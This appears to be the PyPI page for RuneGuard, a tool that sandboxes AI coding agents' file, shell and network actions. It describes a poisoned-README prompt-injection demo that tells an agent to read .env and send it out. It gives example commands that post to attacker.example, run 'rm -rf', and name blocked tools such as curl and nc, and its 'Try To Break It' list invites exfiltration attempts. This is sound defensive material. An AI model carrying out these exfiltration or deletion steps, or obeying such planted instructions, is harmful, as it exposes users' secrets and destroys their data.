Runtime enforcement layer for AI agents
Project description
RuneGuard
Runtime enforcement for AI coding agents.
RuneGuard sits between AI agents and the tools they use: files, shell commands, APIs, and network calls. Instead of only trying to make the model say safe things, RuneGuard controls what the agent is actually allowed to do at runtime.
Problem
Coding agents are becoming powerful enough to read files, execute commands, call APIs, and move data across system boundaries.
That creates a new security problem: a prompt-injected or misaligned agent may try to access secrets, run destructive commands, or exfiltrate data.
Traditional prompt-level guardrails are not enough because the model can still attempt unsafe actions.
RuneGuard enforces policy at the action layer.
Who this is for
RuneGuard is for developers and teams running coding agents in:
- local devboxes
- CI runners
- ephemeral sandboxes
- internal automation environments
Quickstart
pip install runeguard
runeguard check
runeguard demo
From a checkout:
pip install -e .
Run the named poisoned README example:
runeguard examples poisoned-readme
Initialize a project policy and local RuneGuard state:
runeguard init
runeguard doctor
runeguard init creates runeguard.yaml, .runeguard/, and
.runeguard/audit.jsonl. The generated policy uses the Docker backend,
denies network by default, keeps the root filesystem and workspace read-only,
and grants writable mounts only for ./src, ./tests, and ./tmp.
Run a command in the Docker sandbox backend:
runeguard run -- python -c "print('hello from guarded command')"
This mounts the current workspace at /workspace read-only, runs as a non-root
user, disables networking by default, drops Linux capabilities, uses a read-only
container root filesystem, adds small tmpfs mounts for /tmp and /run, and
applies simple memory/CPU/process limits.
Writable paths are opt-in through policy:
writable_paths:
- ".cache"
- "tmp/output"
For compatibility with tools that still need a writable checkout:
runeguard run --unsafe-writable-workspace -- python build.py
For local development only, you can still run through the host policy wrapper:
runeguard run --backend host -- python -c "print('host policy check only')"
Evaluate an action without executing it:
runeguard eval read_file --path .env
runeguard eval http_post --url https://attacker.example/upload
runeguard eval shell --command "rm -rf ./project"
Write a JSONL audit log:
runeguard demo --audit-log .runeguard/audit.jsonl
runeguard report .runeguard/audit.jsonl --html
Start the policy daemon for process-level interception:
runeguard daemon start --audit-log .runeguard/daemon.jsonl
On Linux, build and use the LD_PRELOAD shim:
runeguard shim build
runeguard run --backend host --preload -- python -c "open('.env').read()"
On Linux with a built libbpf/CO-RE loader, trace runtime activity:
runeguard ebpf trace
On Linux with Landlock support, run with kernel-native filesystem enforcement:
runeguard run --backend landlock -- python -c "open('README.md').read()"
Demo
The demo simulates a poisoned README attack.
An agent is asked to summarize a repo. The README contains hidden malicious instructions telling the agent to read .env and send it to an external domain.
RuneGuard blocks the unsafe actions.
Expected output:
[ALLOW] read_file({'path': 'examples/demo_repo/README.md'}) - allowed by policy
[BLOCK] read_file({'path': 'examples/demo_repo/.env'}) - protected path access
[BLOCK] http_post({'url': 'https://attacker.example/upload', ...}) - domain not allowlisted
[BLOCK] shell({'command': 'rm -rf ./project'}) - blocked shell command pattern
Current Status
Working now:
- YAML policy loading
runeguard run -- <command>Docker sandbox runner- optional
runeguard run --backend host -- <command>policy wrapper runeguard eval <tool>dry policy evaluationruneguard initstable schema v1 policy generationruneguard doctorenvironment and policy checksruneguard report <audit.jsonl> --htmlaudit reports- Unix socket policy daemon
- Linux LD_PRELOAD shim source and build target
- Linux Landlock filesystem sandbox backend
- libbpf/CO-RE eBPF source and loader interface for
execve,openat,connect, and BPF LSM exec enforcement - optional OPA/Rego policy backend
- process correlation metadata in JSONL audit logs
- agent integration helpers
- file access policy
- shell command policy
- network/domain policy
- readable allow/block logs
- JSONL audit logs
- poisoned prompt demo
Planned:
- Docker/Podman hardening
- signed release artifacts
- deeper eBPF policy map enforcement beyond the current loader interface
- CI/devbox sandbox mode
v1 Test Surface
This repo is ready for early breakage and feedback around the policy layer.
Useful things to try:
- path bypasses around
.env,secrets/,~/.ssh/, relative paths, and nested directories - shell bypasses around blocked tokens such as
rm -rf,curl,nc, andscp - URL/domain bypasses around subdomains, missing schemes, and attacker-controlled hosts
- LD_PRELOAD bypasses on Linux, especially static binaries, direct syscalls, and alternate libc paths
- daemon failure behavior with
RUNEGUARD_FAIL_CLOSED=0versus the default fail-closed mode - places where audit logs leak data that should be redacted
- places where the README implies stronger security than the code actually provides
Vision
RuneGuard is a runtime permission layer for AI agents.
The long-term goal is to create a real boundary between agent intent and system truth: what the model says it will do versus what the system actually observes and allows.
Security Boundary
The policy/proxy modes are not a hard security boundary. They are useful when agent tool calls are routed through RuneGuard, but they cannot stop actions that avoid those routes.
The LD_PRELOAD shim is experimental and bypassable by static binaries, direct syscalls, and processes that do not load the shim.
The Docker sandbox mode is the first step toward stronger enforcement: it gives RuneGuard a real process boundary with non-root execution, an isolated container filesystem view, network denial by default, and resource limits.
The eBPF layer uses libbpf/CO-RE source and a standalone loader interface. Its enforcement mode can deny configured executable names through BPF LSM, but it depends on Linux BPF LSM support and the privileges required by the host. It is not the primary filesystem enforcement layer; use Docker or Landlock for that.
Try To Break It
Ideas:
- make the agent read
.env - make it run
curl,nc, orscp - make it hide exfiltration inside a normal tool call
- make it access
~/.ssh - make the audit log expose something sensitive
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file runeguard-1.0.0.tar.gz.
File metadata
- Download URL: runeguard-1.0.0.tar.gz
- Upload date:
- Size: 50.6 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
400787fee32b28bee46d01015c45e2d709edce58d0c7a995797b21da315f3bc3
|
|
| MD5 |
8c128d026ece6c8a10a7408c55139cff
|
|
| BLAKE2b-256 |
c90f9ec753760068a1660f5ff8651c921014efc72c272d41c2c592a81d711db5
|
Provenance
The following attestation bundles were made for runeguard-1.0.0.tar.gz:
Publisher:
publish.yml on nzhumasseiit/runeguard
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
runeguard-1.0.0.tar.gz -
Subject digest:
400787fee32b28bee46d01015c45e2d709edce58d0c7a995797b21da315f3bc3 - Sigstore transparency entry: 1541302146
- Sigstore integration time:
-
Permalink:
nzhumasseiit/runeguard@2110e5c97053b6c57ce2476b17aa2abe06254634 -
Branch / Tag:
refs/tags/v0.1.0 - Owner: https://github.com/nzhumasseiit
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@2110e5c97053b6c57ce2476b17aa2abe06254634 -
Trigger Event:
release
-
Statement type:
File details
Details for the file runeguard-1.0.0-py3-none-any.whl.
File metadata
- Download URL: runeguard-1.0.0-py3-none-any.whl
- Upload date:
- Size: 45.9 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7223a2936160f32a4fbc41094867f80a91d909ff5b2c0bb1500c9e88022dd01a
|
|
| MD5 |
0711108180d8bd53fad45130d3986dd7
|
|
| BLAKE2b-256 |
048f31ee026af23c46f24774dbedf054a30fa33b1b21c2f81eedd8be4b8a462b
|
Provenance
The following attestation bundles were made for runeguard-1.0.0-py3-none-any.whl:
Publisher:
publish.yml on nzhumasseiit/runeguard
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
runeguard-1.0.0-py3-none-any.whl -
Subject digest:
7223a2936160f32a4fbc41094867f80a91d909ff5b2c0bb1500c9e88022dd01a - Sigstore transparency entry: 1541302264
- Sigstore integration time:
-
Permalink:
nzhumasseiit/runeguard@2110e5c97053b6c57ce2476b17aa2abe06254634 -
Branch / Tag:
refs/tags/v0.1.0 - Owner: https://github.com/nzhumasseiit
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@2110e5c97053b6c57ce2476b17aa2abe06254634 -
Trigger Event:
release
-
Statement type: